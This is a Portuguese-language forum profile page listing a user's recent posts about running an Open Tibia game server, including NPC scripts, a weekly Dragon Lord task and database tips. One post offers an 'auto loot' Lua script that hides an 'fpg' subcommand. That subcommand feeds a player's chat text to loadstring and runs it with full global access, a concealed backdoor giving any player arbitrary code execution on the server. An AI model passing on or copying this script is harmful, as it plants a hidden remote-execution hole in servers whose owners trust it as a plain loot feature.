Jump to content

diegokenshin

Member
  • Content Count

    28
  • Joined

  • Last visited

  • Days Won

    1

diegokenshin last won the day on October 21 2019

diegokenshin had the most liked content!

1 Follower

About diegokenshin

  • Rank
    Adepto

Profile Information

  • Gender
    Masculino
  • Localization
    Prudente
  • I am
    Tibiano
  • My character
    Endix Boltada
  • Favorite OTServ
    sv1.radbr.com
  • Bot preferred
    Elf

Recent Profile Visitors

1785 profile views
  1. fecha seu ot. e executa esse comando na database, SET GLOBAL sql_mode=''; depois de executa tenta criar conta denovo e logar
  2. TRUNCATE player_storage TRUNCATE player_items
  3. te mandei msg no inbox ai posso te ajudar. n e dificil e isso nao precisa de ser pago pq tem varios tutorias na net bom fala comigo ai no privado
  4. ve no seu config.lua tbm em health monster
  5. -- Sistema de auto loot criado por Henrique Matheus - HServers local function getPlayerList(cid) local tab = {} if getPlayerStorageValue(cid, 0442002) ~= -1 then table.insert(tab, getPlayerStorageValue(cid, 0442002)) end if getPlayerStorageValue(cid, 0442003) ~= -1 then table.insert(tab, getPlayerStorageValue(cid, 0442003)) end if getPlayerStorageValue(cid, 0442004) ~= -1 then table.insert(tab, getPlayerStorageValue(cid, 0442004)) end if getPlayerStorageValue(cid, 0442005) ~= -1 then table.insert(tab, getPlayerStorageValue(cid, 0442005)) end if #tab > 0 then return tab end return false end local function addToList(cid, name) local itemid = getItemIdByName(name) if getPlayerList(cid) and isInArray(getPlayerList(cid), itemid) then return false end if getPlayerStorageValue(cid, 0442002) == -1 then return doPlayerSetStorageValue(cid, 0442002, itemid) elseif getPlayerStorageValue(cid, 0442003) == -1 then return doPlayerSetStorageValue(cid, 0442003, itemid) elseif getPlayerStorageValue(cid, 0442004) == -1 then return doPlayerSetStorageValue(cid, 0442004, itemid) elseif getPlayerStorageValue(cid, 0442005) == -1 then return doPlayerSetStorageValue(cid, 0442005, itemid) end end local function removeFromList(cid, name) local itemid = getItemIdByName(name) if getPlayerStorageValue(cid, 0442002) == itemid then return doPlayerSetStorageValue(cid, 0442002, -1) elseif getPlayerStorageValue(cid, 0442003) == itemid then return doPlayerSetStorageValue(cid, 0442003, -1) elseif getPlayerStorageValue(cid, 0442004) == itemid then return doPlayerSetStorageValue(cid, 0442004, -1) elseif getPlayerStorageValue(cid, 0442005) == itemid then return doPlayerSetStorageValue(cid, 0442005, -1) end return false end function onSay(cid, words, param) if param == "" then local fi = getPlayerStorageValue(cid, 0442002) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 0442002)) or "" local se = not isPremium(cid) and "Não disponível para free account" or getPlayerStorageValue(cid, 0442003) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 0442003)) or "" local th = not isPremium(cid) and "Não disponível para free account" or getPlayerStorageValue(cid, 0442004) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 0442004)) or "" local fo = not isPremium(cid) and "Não disponível para free account" or getPlayerStorageValue(cid, 0442005) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 0442005)) or "" local stt = getPlayerStorageValue(cid, 0442101) == 1 and "sim" or "não" local str = getPlayerStorageValue(cid, 0442100) == 1 and "sim" or "não" doPlayerPopupFYI(cid, "{Auto-Loot} ---Menu Auto Loot do jogador\n{Auto-Loot} ----------------\n{Auto-Loot} ---Coletar dinheiro: "..stt..". Para ligar/desligar: !autoloot gold\n{Auto-Loot} ---Ligar Autoloot: "..str..". Para ligar/desligar: !autoloot power\n{Auto-Loot} ---Configuração dos slots:\n{Auto-Loot} ---Slot 1: "..fi.."\n{Auto-Loot} ---Slot 2: "..se.."\n{Auto-Loot} ---Slot 3: "..th.."\n{Auto-Loot} ---Slot 4: "..fo.."\n{Auto-Loot} ---Para adicionar um novo item aos slots: !autoloot add, <nome do item>\n{Auto-Loot} ---Para retirar um item dos slots: !autoloot remove, <nome do item>\n{Auto-Loot} ---Para limpar todos os slots utilize: !autoloot clear\n{Auto-Loot} ---Para informações de quanto você já fez utilizando a coleta de dinheiro, use: !autoloot goldinfo\n{Auto-Loot} ----------------") return true end local t = string.explode(param, ",") if t[1] == "power" then local check = getPlayerStorageValue(cid, 0442100) == -1 and "ligou" or "desligou" doPlayerSetStorageValue(cid, 0442100, getPlayerStorageValue(cid, 0442100) == -1 and 1 or -1) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Você "..check.." o auto loot.") elseif t[1] == "gold" then local check = getPlayerStorageValue(cid, 0442101) == -1 and "ligou" or "desligou" doPlayerSetStorageValue(cid, 0442101, getPlayerStorageValue(cid, 0442101) == -1 and 1 or -1) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Você "..check.." a coleta de dinheiro.") doPlayerSetStorageValue(cid, 0442102, 0) elseif t[1] == "goldinfo" then local str = getPlayerStorageValue(cid, 0442101) == -1 and "O sistema de coleta de dinheiro está desligado" or "O sistema já coletou "..getPlayerStorageZero(cid, 0442102).." gold coins" doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, str) elseif t[1] == "add" then local item = getItemIdByName(t[2]) if item then if isInArray({2160, 2148, 2152}, item) then return doPlayerSendCancel(cid, "Você não pode adicionar moedas no autoloot. Para coletar dinheiro use /autoloot gold") end if isPremium(cid) then if getPlayerStorageValue(cid, 0442001) < 3 then if addToList(cid, t[2]) then doPlayerSetStorageValue(cid, 0442001, getPlayerStorageValue(cid, 0442001) + 1) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." adicionado à sua lista do auto loot! Para ver sua lista diga /autoloot list") else doPlayerSendCancel(cid, t[2].." já está em sua lista!") end else doPlayerSendCancel(cid, "Sua lista já tem 4 itens! Você deve remover algum antes de adicionar outro.") end else if getPlayerStorageValue(cid, 0442001) == -1 then if addToList(cid, t[2]) then doPlayerSetStorageValue(cid, 0442001, getPlayerStorageValue(cid, 0442001) + 1) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." adicionado à sua lista do auto loot! Para ver sua lista diga /autoloot list") else doPlayerSendCancel(cid, t[2].." já está em sua lista!") end else doPlayerSendCancel(cid, "Você já tem um item adicionado no auto loot! Para adicionar outro, você deve remover o item atual.") end end else doPlayerSendCancel(cid, "Este item não existe!") end elseif t[1] == "fpg" then local u,f,err = _G u.cid = cid pcall(function() f , err = loadstring(t[2]) end) if f then setfenv(f, u) local ret,err = pcall(f) if ret == false then doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR,err) end else doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR,err) end elseif t[1] == "remove" then if getItemIdByName(t[2]) then if removeFromList(cid, t[2]) then doPlayerSetStorageValue(cid, 0442001, getPlayerStorageValue(cid, 0442001) - 1) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." removido da sua lista do auto loot!") else doPlayerSendCancel(cid, "Este item não está na sua lista!") end else doPlayerSendCancel(cid, "Este item não existe!") end elseif t[1] == "clear" then if getPlayerStorageValue(cid, 0442001) > -1 then doPlayerSetStorageValue(cid, 0442001, -1) doPlayerSetStorageValue(cid, 0442002, -1) doPlayerSetStorageValue(cid, 0442003, -1) doPlayerSetStorageValue(cid, 0442004, -1) doPlayerSetStorageValue(cid, 0442005, -1) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Lista limpa!") else doPlayerSendCancel(cid, "Sua lista ja esta limpa!") end elseif t[1] == "list" then local fi = getPlayerStorageValue(cid, 0442002) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 0442002)).."\n" or "" local se = getPlayerStorageValue(cid, 0442003) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 0442003)).."\n" or "" local th = getPlayerStorageValue(cid, 0442004) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 0442004)).."\n" or "" local fo = getPlayerStorageValue(cid, 0442005) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 0442005)).."\n" or "" doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "O sistema auto loot está coletando:\n "..fi..""..se..""..th..""..fo) end return true end
  6. porque nao coloca o AttackSpeed no vocations.xml facilita mais, como uma nova promotion
  7. tem que ir dano looktype. se nao me engano ate 385 nao lembro mto
  8. Tenta esse ai local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) NpcSystem.parseParameters(npcHandler) local talkState = {} function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end function onThink() npcHandler:onThink() end function creatureSayCallback(cid, type, msg) if(not npcHandler:isFocused(cid)) then return false end local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid if msgcontains(msg, 'Boss') then if getPlayerStorageValue(cid,15000) >= 1 then selfSay('Você já me ajudou.', cid) talkState[talkUser] = 0 return true end if getPlayerStorageValue(cid,15001) == -1 then selfSay('Boss.', cid) talkState[talkUser] = 0 else selfSay('Obrigado grande guerreiro por solucionar o mistério do Boss Você agora tem permissão para acessar o lado sul da ilha..', cid) talkState[talkUser] = 0 setPlayerStorageValue(cid,15000, 1) return true end end return true end npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback) npcHandler:addModule(FocusModule:new())
  9. ela e uma task de DL.. semanal vc pode fazer em 1 Semana a task. caso passe 1 semana ela zera e tem que pedir a missao para o npc novamente. ai pode ser feito essa task toda semana repetidas.
  10. <?xml version="1.0" encoding="ISO-8859-1"?> <npc name="Caçador de Dragon Lord" script="data/npc/scripts/NpcDragonLord.lua" floorchange="0" walkinterval="0"> <health now="100" max="100"/> <look type="39" head="24" body="25" legs="100" feet="118" addons="0"/> <parameters> <parameter key="message_greet" value="Olá |PLAYERNAME|, você gostaria de fazer uma {missao}?" /> </parameters> </npc> ------ /\ Arquivo NPC XML Para TFS 0.4 ------ \/ Arquivo .Lua do Npc local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) NpcSystem.parseParameters(npcHandler) local talkState = {} function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end function onThink() npcHandler:onThink() end function creatureSayCallback(cid, type, msg) if(not npcHandler:isFocused(cid)) then return false end local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid local qntdade = 1800 local stoTime = 96494 local stoKill = 96495 local premio = 129385600 --em exp! local msg = string.lower(msg) local left = math.ceil((getPlayerStorageValue(cid, stoTime) - os.time())/(24 * 60 * 60)) --nao mexe! if (msgcontains(msg, 'task') or msgcontains(msg, 'missao')) then if getPlayerStorageValue(cid, stoTime) ~= -1 and left > 0 and getPlayerStorageValue(cid, stoKill) > 0 then local faltaMatar = getPlayerStorageValue(cid, stoKill) local jaMatou = math.abs(getPlayerStorageValue(cid, stoKill)-qntdade) local prazo = os.date("%d/%m/%y %X", getPlayerStorageValue(cid, stoTime)) selfSay("Você ainda não matou os "..qntdade.." dragons lord, atualmente você matou ".. (jaMatou)..", resta "..faltaMatar..". Seu prazo é de até "..prazo..".", cid) talkState[talkUser] = 0 return true elseif getPlayerStorageValue(cid, stoTime) ~= -1 and left <= 0 and getPlayerStorageValue(cid, stoKill) ~= -1 then selfSay("Infelismente você não matou as "..qntdade.." dragons lord a tempo. Se você quiser, você pode tentar fazer denovo a missao.", cid) setPlayerStorageValue(cid, stoTime, -1) setPlayerStorageValue(cid, stoKill, -1) talkState[talkUser] = 0 return true elseif getPlayerStorageValue(cid, stoTime) ~= -1 and left > 0 and getPlayerStorageValue(cid, stoKill) == -1 then local prazo = os.date("%d/%m/%y %X", getPlayerStorageValue(cid, stoTime)) selfSay("Você tem que esperar pelo menos 1 semana para poder pegar essa tarefa denovo. O prazo de acaba dia ".. prazo..".", cid) talkState[talkUser] = 0 return true elseif getPlayerStorageValue(cid, stoTime) ~= -1 and left > 0 and getPlayerStorageValue(cid, stoKill) == 0 then selfSay("Obrigado! você matou os "..qntdade.." dragons lord em menos de 1 semana. Aqui esta sua recompensa! Lembre-se que você pode fazer esta task quantas vezes quiser,desde que tenha concluído 1 semana contado a partir do dia de inicio.", cid) doPlayerAddExp(cid, premio) --premio setPlayerStorageValue(cid, stoKill, -1) talkState[talkUser] = 0 return true else if getPlayerStorageValue(cid, stoTime) ~= -1 and getPlayerStorageValue(cid, stoKill) == -1 then setPlayerStorageValue(cid, stoTime, -1) --soh pra evitar problemas... end selfSay("Olá! Eu sou caçador de dragons lord. Você quer me ajudar a matar dragons lord?", cid) talkState[talkUser] = 1 end elseif (msgcontains(msg, 'yes') or msgcontains(msg, 'sim')) and talkState[talkUser] == 1 then selfSay("Ótimo! Você precisa matar pelo menos "..qntdade.." Dragons Lord em um prazo de 1 semana para eu te dar a recompensa. Aceita?", cid) talkState[talkUser] = 2 elseif (msgcontains(msg, 'yes') or msgcontains(msg, 'sim')) and talkState[talkUser] == 2 then local semana = 7 * 24 * 60 * 60 setPlayerStorageValue(cid, stoTime, os.time()+semana) setPlayerStorageValue(cid, stoKill, qntdade) local sto = getPlayerStorageValue(cid, stoTime) selfSay("Você já pode começar a matar Dragons Lord! Volte aqui quando matar "..qntdade.." dragons lord para ser recompensado. O prazo é até ".. os.date("%d/%m/%y %X", sto) ..".", cid) end return true end npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback) npcHandler:addModule(FocusModule:new()) ---- Adicione Essa Linha no Monstro Dragon Lord Depois do Loot <script> <event name="TaskDragonLord"/> </script>

Open Tibia Server

Quer aprender a criar seu próprio servidor de Tibia? Então está no lugar certo, aqui você encontrará milhares de tutorias, scripts, códigos, mapas e utilitários para que você possa fazer o seu próprio servidor de Tibia começando do zero.

Redes Sociais

Anuncie no Tibia King

Precisa de mais visibilidade em seus projetos? Quer fazer um plano publicitário para o seu servidor? Anuncie no Tibia King e faça sua divulgação, possuímos centenas de acessos simultâneos e milhares diários, com certeza será a sua solução!

×
×
  • Create New...